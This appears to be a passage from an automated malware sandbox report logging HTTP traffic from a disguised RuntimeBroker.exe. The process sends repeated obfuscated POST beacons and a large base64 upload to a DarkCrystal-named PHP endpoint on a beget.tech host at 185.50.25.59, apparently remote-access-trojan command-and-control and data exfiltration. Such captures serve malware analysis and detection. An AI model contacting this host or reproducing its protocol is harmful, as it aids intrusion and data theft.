Nov 9, 2024 22:23:59.728918076 CET	2220	OUT	Data Raw: 50 56 59 58 56 5b 5e 52 5d 5d 54 54 54 5c 5b 56 56 5c 5f 53 5b 54 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PVYXV[^R]]TTT\[VV\_S[TZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"3T=E ^6".<\3'#= Y>+0$ Y'<+)8%>.'Y&%[(
Nov 9, 2024 22:24:00.299354076 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:00.350337982 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 20 00 3c 3a 31 56 34 39 2e 13 28 22 2d 14 3c 3d 29 10 31 56 38 5f 2b 2c 25 5e 28 3e 30 0f 21 3e 2a 15 27 12 03 13 22 1f 23 01 32 20 2b 5a 01 1c 25 0a 28 04 27 0e 24 28 03 0f 30 0e 2a 05 20 3c 20 03 24 24 38 04 31 0b 29 1f 3d 23 3b 0a 3b 1f 22 00 2a 3e 06 1b 32 21 31 0f 20 35 2a 55 03 12 20 09 2a 04 2f 12 24 3e 38 0c 2b 32 38 12 35 58 2c 04 21 02 2c 5e 26 3b 2b 5e 2d 33 05 06 25 33 38 07 28 0c 2c 01 23 12 3a 09 27 2a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: <:1V49.("-<=)1V8_+,%^(>0!>'"#2 +Z%('$(0 < $$81)=#;;">2!1 5U /$>8+285X,!,^&;+^-3%38(,#:'#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50112	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:59.445619106 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:59.789937973 CET	2544	OUT	Data Raw: 55 54 59 53 53 5d 5b 56 5d 5d 54 54 54 57 5b 55 56 50 5f 53 5b 52 5a 5a 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UTYSS][V]]TTTW[UVP_S[RZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!Y'T1"8=[5 ]$+#>;)]+X3#$<^(32.'Y&%[(
Nov 9, 2024 22:24:00.354377031 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:00.402014971 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50113	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:01.112577915 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:24:01.461812019 CET	2544	OUT	Data Raw: 55 5b 59 58 56 5d 5e 50 5d 5d 54 54 54 56 5b 54 56 5b 5f 5a 5b 54 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[YXV]^P]]TTTV[TV[_Z[TZ^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!314^)Z5X8Y$+#)?_'%07Y?+D&]:'Y&%[($

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50114	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:01.695190907 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 528 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:02.040060043 CET	528	OUT	Data Raw: 55 52 59 53 53 5a 5b 56 5d 5d 54 54 54 55 5b 53 56 50 5f 5f 5b 55 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URYSSZ[V]]TTTU[SVP__[UZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\%"7"!X<X0< *8'$%$\',+#2X5./'Y&%[(
Nov 9, 2024 22:24:02.612004995 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:02.681087017 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:24:02.685611963 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EyOiNRFqgjwBDRMoIWLYADZjtCkt6UL1hI User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 182082 Expect: 100-continue
Nov 9, 2024 22:24:02.970164061 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:02.970423937 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 79 4f 69 4e 52 46 71 67 6a 77 42 44 52 4d 6f 49 57 4c 59 41 44 5a 6a 74 43 6b 74 36 55 4c 31 68 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------EyOiNRFqgjwBDRMoIWLYADZjtCkt6UL1hIContent-Disposition: form-data; name="0"Content-Type: text/plainPQY]V]^U]]TTTQ[ZVQ_X[\ZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:24:02.975445986 CET	2472	OUT	Data Raw: 4d 57 30 72 57 43 74 31 64 54 56 61 53 6b 49 32 4f 57 46 55 59 55 39 34 63 44 6c 32 52 57 73 32 55 57 73 7a 62 48 42 44 4f 58 68 6b 52 7a 42 6e 61 6d 31 61 64 7a 42 7a 64 55 5a 50 4d 47 4a 56 53 55 67 7a 62 44 56 4b 53 46 64 78 56 56 59 35 59 6e Data Ascii: MW0rWCt1dTVaSkI2OWFUYU94cDl2RWs2UWszbHBDOXhkRzBnam1adzBzdUZPMGJVSUgzbDVKSFdxVVY5YnlxaFdlTGNRZHlianVRZzR3Y2dEUDBKcm9qWHBPWHM0dlZITFBEVjFEMnNsbytwWUtta3hTcTRZWlVnajJOT0xjYzFzYytveWlwMGdTUm9JaGMycVhkeXU2M3RIZGhMS08yTUtWRzdzR1lFL2lNMVpaRmgwVzAxWm1
Nov 9, 2024 22:24:02.975481987 CET	7416	OUT	Data Raw: 63 57 70 6c 4d 30 31 71 62 79 74 77 4e 47 6b 7a 54 6e 6c 50 65 44 46 48 62 57 56 50 4e 7a 64 54 64 45 35 6e 63 31 6c 69 56 7a 4a 6c 54 30 56 46 51 6d 34 7a 57 6b 39 54 56 44 4a 51 64 6c 5a 32 4c 32 68 61 5a 58 46 6d 4f 45 46 51 62 46 70 6d 61 79 Data Ascii: cWplM01qbytwNGkzTnlPeDFHbWVPNzdTdE5nc1liVzJlT0VFQm4zWk9TVDJQdlZ2L2haZXFmOEFQbFpmay84QThWWEdJMW0ybTNGKzJzYWRISGJ1c2N5dDUrNUhiZHRYaUlnazdUMEpGT3VJVnM1SjB2THl6dDJqbmt0azh4M3hOSWdCWUtRaHhqY3ZMYlJ6OWNlZTZXWFNscnY2dit1cDZpclpyRkpMYjBpZGgvd3N2VmYrZk9
Nov 9, 2024 22:24:02.975502968 CET	2472	OUT	Data Raw: 4c 7a 67 76 53 57 5a 6d 54 43 38 31 52 54 64 44 61 58 56 52 56 46 68 4d 4f 56 68 43 54 58 64 6a 52 43 74 46 63 55 31 49 4f 48 45 32 56 33 64 32 52 6e 5a 79 57 6c 70 57 52 30 51 77 57 6d 5a 52 4d 54 4d 30 53 45 34 34 55 47 70 61 54 30 5a 50 4e 6d Data Ascii: LzgvSWZmTC81RTdDaXVRVFhMOVhCTXdjRCtFcU1IOHE2V3d2RnZyWlpWR0QwWmZRMTM0SE44UGpaT0ZPNmE2UDhBcG5qNXh3empzcGdxdGV6aTlMeGJkbjUzU1phb29vcjB6NTRLRFJSUUFVZDYxbThOYXVqRldzeUdIWXlML2pRUERPcm5wYWYrUlUveHJpL3RQQmY4L28vK0JML003UDdPeG4vUHFYL2dML3lNbWl0Z2VGdGF
Nov 9, 2024 22:24:02.975583076 CET	4944	OUT	Data Raw: 4d 7a 68 51 52 53 74 72 5a 6e 70 50 4d 33 4a 74 4c 30 52 75 61 56 4e 59 56 32 52 54 4d 55 4d 77 62 57 70 70 57 48 6c 51 62 57 6f 34 63 30 68 4a 57 47 56 35 4e 31 68 36 4c 30 59 34 62 31 42 49 63 6a 64 57 4d 45 55 34 4f 46 5a 79 59 6e 6c 59 52 58 Data Ascii: MzhQRStrZnpPM3JtL0RuaVNYV2RTMUMwbWppWHlQbWo4c0hJWGV5N1h6L0Y4b1BIcjdWMEU4OFZyYnlYRXpoSW9sTHV4NkFEa212Sy9DdmltMjAvVmRVMVM2aS8wZlVwV2xjd29XYTNJWTdRL0dQbTNldlhyMXI1cXRWVUp4VGRqN1BBNE40akQxcFJqZHExdlcvK1grWFU5V2RGa1JrZFF5TU1NckRJSTlEWGkvaVhSby9EL2l
Nov 9, 2024 22:24:02.975631952 CET	4944	OUT	Data Raw: 62 30 35 4d 55 31 56 42 53 6c 4a 70 61 57 6c 6e 57 57 78 47 54 46 4e 56 52 45 56 77 51 30 74 6a 59 56 4e 6e 51 6e 52 47 53 32 46 54 5a 33 42 44 56 57 68 77 56 46 49 79 62 30 46 69 55 30 64 75 5a 48 46 52 61 57 64 5a 62 45 5a 4d 55 30 56 6a 4d 45 Data Ascii: b05MU1VBSlJpaWlnWWxGTFNVREVwQ0tjYVNnQnRGS2FTZ3BDVWhwVFIyb0FiU0duZHFRaWdZbEZMU0VjMEZDVWxLUlFhQm9iaWlscE1VREVwUHJUalNkYUFFb3BhUTBERXhta3hUdTlKUU1RL3dDY1VsS2FUK2RBd0lOQm82VWZ5b0dKMTRwS1dnL1dnQnZYbnY2MFlwZTlKUU1PTS9oU1VwL1dnOWZhZ1locE9sTGlqdFFBbVB
Nov 9, 2024 22:24:02.975748062 CET	2472	OUT	Data Raw: 4d 30 77 33 5a 32 6f 72 53 32 39 73 4d 48 68 4d 5a 54 56 58 4e 6e 4e 77 4e 54 64 54 4e 46 68 50 4d 6c 64 44 55 57 39 35 4e 55 64 45 5a 32 70 43 63 47 74 6c 61 56 64 54 55 58 52 46 4d 47 55 76 5a 57 4e 7a 56 44 46 4b 63 6e 64 75 62 47 78 57 65 56 Data Ascii: M0w3Z2orS29sMHhMZTVXNnNwNTdTNFhPMldDUW95NUdEZ2pCcGtlaVdTUXRFMGUvZWNzVDFKcndubGxWeVh2YUpMOEwvd0NaOUxIT3FFWVAzVzNKL25iL0FDSUxHenY5Y3N0UEZnbDFjV2RzWjF1b3JaQzdSM0psYzczVVpJeW13Qmp4aGNkcWRjWE0xdjRkMUNSSGxtdnJKemFXc3hPZHEzRzRzY2pxVjJTWS93Q3VwUGFwdjd
Nov 9, 2024 22:24:02.980362892 CET	4944	OUT	Data Raw: 56 58 5a 68 59 33 59 33 65 6d 5a 35 55 45 6c 78 4b 33 6b 31 64 6a 4e 57 4e 32 56 5a 4d 55 64 68 4d 30 39 49 62 6c 64 4c 56 7a 68 72 4f 48 5a 54 65 6b 74 6f 53 56 4d 33 51 32 74 44 55 55 68 4a 51 55 46 35 52 6e 6c 6a 61 6d 4d 32 62 69 74 42 4d 56 Data Ascii: VXZhY3Y3emZ5UElxK3k1djNWN2VZMUdhM09IbldLVzhrOHZTektoSVM3Q2tDUUhJQUF5RnljamM2bitBMVR0OUQxcXowQ043YlM5Vk43cUN0QzBxV2pzTGFFSEVoSkNuRE9RVjlkdTcrOEtrbDA2MW1rTWtrWVpqM05WMDBPeWlZc2lNcFBmTmViV3dGV2RTVWxKV2x2NkwrdFQxNkdaMGFkS01IRjNqdDZ2L0xvUWEzSGNSK0Z
Nov 9, 2024 22:24:02.980484962 CET	8652	OUT	Data Raw: 51 56 6b 78 4b 31 46 4e 55 55 39 55 4c 30 46 4b 54 6d 51 72 63 33 46 32 53 44 4a 4a 53 58 4a 35 4d 31 56 30 52 57 34 77 4e 55 4a 4a 4d 30 31 4d 53 47 46 79 53 47 63 31 4b 32 78 69 62 6d 68 44 5a 6d 52 32 5a 32 70 32 53 6b 35 35 52 45 78 58 4f 47 Data Ascii: QVkxK1FNUU9UL0FKTmQrc3F2SDJJSXJ5M1V0RW4wNUJJM01MSGFySGc1K2xibmhDZmR2Z2p2Sk55RExXOG95TWYza1BiM0h2V3ZFdUJoajZUemFoVjVvMlN0WjZXOCttdmRkVHJ5L0txZUF3Nm94bGQ3dDJ0Zjh4ZFo4TnZIZWI3SlFZcE1rSjZOMTJqOE00L0wwcm1zWU9EWHB3bEQ0VmgwSS9PdUo4VFdxMjJzeUZCaFpsRWd
Nov 9, 2024 22:24:03.807401896 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50115	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:02.112409115 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:02.461828947 CET	2544	OUT	Data Raw: 55 54 59 5e 56 5d 5b 57 5d 5d 54 54 54 53 5b 56 56 5b 5f 53 5b 5d 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UTY^V][W]]TTTS[VV[_S[]Z_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\$2=#-Z#>?'//Y7=#++#Y$0<<(29/'Y&%[(0
Nov 9, 2024 22:24:03.025895119 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:03.082916975 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50116	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:03.216514111 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:24:03.571340084 CET	2544	OUT	Data Raw: 50 52 5c 5d 56 58 5e 57 5d 5d 54 54 54 5c 5b 57 56 5a 5f 5e 5b 51 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PR\]VX^W]]TTT\[WVZ_^[QZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]3#-X!.4\',?^!>,^*Z38Y0<<<;<1&-/'Y&%[(
Nov 9, 2024 22:24:04.133090973 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:04.180602074 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	50117	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:04.308903933 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:24:04.664942026 CET	2544	OUT	Data Raw: 55 54 5c 58 56 56 5b 5d 5d 5d 54 54 54 57 5b 5a 56 51 5f 58 5b 57 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UT\XVV[]]]TTTW[ZVQ_X[WZ\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!3" ^#-7$Z3 >4X*;[$5'%/#Y+8'&./'Y&%[(
Nov 9, 2024 22:24:05.236762047 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:05.287951946 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	50118	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:05.381031990 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:05.727778912 CET	2220	OUT	Data Raw: 55 5a 59 5a 53 5f 5e 55 5d 5d 54 54 54 5d 5b 52 56 50 5f 5f 5b 50 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UZYZS_^U]]TTT][RVP__[PZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!Y0.786>#3??X!>*8#X&5#'<;E%:'Y&%[(
Nov 9, 2024 22:24:05.868002892 CET	1236	OUT	Data Raw: 0f 03 30 1d 35 3b 02 07 0a 3f 5e 2b 30 34 20 25 07 5d 07 18 35 16 24 3f 05 02 27 1a 08 5a 00 3c 2f 00 19 15 3c 01 5c 3e 3c 53 1e 2e 37 3a 22 2b 0b 06 31 13 34 32 18 15 04 3c 5d 1b 39 30 23 24 04 30 08 1c 30 59 0e 22 0a 02 0f 2b 24 3f 1c 00 21 55 Data Ascii: 05;?^+04 %]5$?'Z</<\><S.7:"+142<]90#$00Y"+$?!U\1S""%>(9)1Q>> .B=3#0""\4(>%>35,Y,82<8,[5U?,/S<87+ W4 W!="/>5"%2>8^>\;46_/?.3P?[*(!&.#8W&=0>7]&9+#8=S
Nov 9, 2024 22:24:06.346426964 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:06.419501066 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 20 07 3c 04 29 55 20 3a 35 0c 3d 0f 3d 19 2b 2d 3e 00 27 33 24 5b 2b 5a 35 5e 2b 5b 33 55 22 3d 08 59 30 3f 31 12 21 22 2f 04 32 0a 2b 5a 01 1c 25 44 2b 3d 0a 1e 32 38 29 09 30 34 25 5b 21 3f 19 17 32 27 2c 01 26 22 31 11 3e 33 2c 57 2c 0f 39 1e 3c 3e 23 47 26 08 2e 1f 34 1f 2a 55 03 12 20 0c 29 04 27 1f 25 5b 20 0f 3c 22 38 5f 35 3d 2f 10 21 3b 0d 07 30 3b 3b 15 2c 1d 23 03 27 0a 28 04 28 22 27 12 20 02 39 17 24 10 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: <)U :5==+->'3$[+Z5^+[3U"=Y0?1!"/2+Z%D+=28)04%[!?2',&"1>3,W,9<>#G&.4*U )'%[ <"8_5=/!;0;;,#'(("' 9$#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	50119	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:05.423207045 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:05.777118921 CET	2544	OUT	Data Raw: 55 50 59 5f 53 58 5e 55 5d 5d 54 54 54 5d 5b 52 56 5b 5f 5d 5b 53 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UPY_SX^U]]TTT][RV[_][SZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!_$"="+!^#>$'37');#^3&$X'?0<+;@1=5.?'Y&%[(
Nov 9, 2024 22:24:05.899250984 CET	1236	OUT	Data Raw: 00 3e 3c 31 3c 3d 39 27 08 03 32 04 39 0f 2b 23 09 36 1a 28 37 0e 04 26 23 05 33 3c 32 3a 03 36 08 24 25 19 23 33 28 0e 39 41 38 2e 3f 0a 18 29 11 0a 27 13 00 2d 08 02 37 58 12 40 31 08 0f 2d 23 0d 0f 12 34 33 06 30 36 2c 2c 0b 31 3c 24 24 03 20 Data Ascii: ><1<=9'29+#6(7&#3<2:6$%#3(9A8.?)'-7X@1-#4306,,1<$$ \/?>$#?(=<&,2\/$#Y9##,3]>)"%4(?/&\;+5><;;Q?<4>&&$:8. >=[9?X<$5(8;@03>%<)>=?97?9<+#53.[;8Y]55;!68+Q*".
Nov 9, 2024 22:24:06.352329016 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:06.422466040 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	50120	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:06.546992064 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
